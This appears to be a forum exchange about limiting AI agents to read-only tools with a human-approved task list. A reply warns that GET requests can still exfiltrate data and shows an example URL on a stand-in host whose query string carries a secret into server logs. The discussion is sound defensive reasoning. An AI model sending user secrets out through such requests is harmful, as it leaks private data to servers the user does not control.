I'd like to try a pattern where agents only have access to read-only tools. They can read you emails, read your notes, read your texts, maybe even browse the internet with only GET requests...

But any action with side-effects ends up in a Tasks list, completely isolated. The agent can't send an email, they don't have such a tool. But they can prepare a reply and put it in the tasks list. Then I proof-read and approve/send myself.

If there anything like that available for *Claws?

There is no real such thing as a read only GET request if we are talking about security issues here. Payloads with secrets can still be exfiltrated, and a server you don’t control can do what it wants when it gets the request.

GET and POST are merely suggestions to the server. A GET request still has query parameters; even if the server is playing by the book, an agent can still end up requesting GET http://angelic-service.example.com/api/v1/innocuous-thing?pa... and now your `dangerous-secret` is in the server logs.

You can try proxying and whitelisting its requests but the properly paranoid option is sneaker-netting necessary information (say, the documentation for libraries; a local package index) to a separate machine.
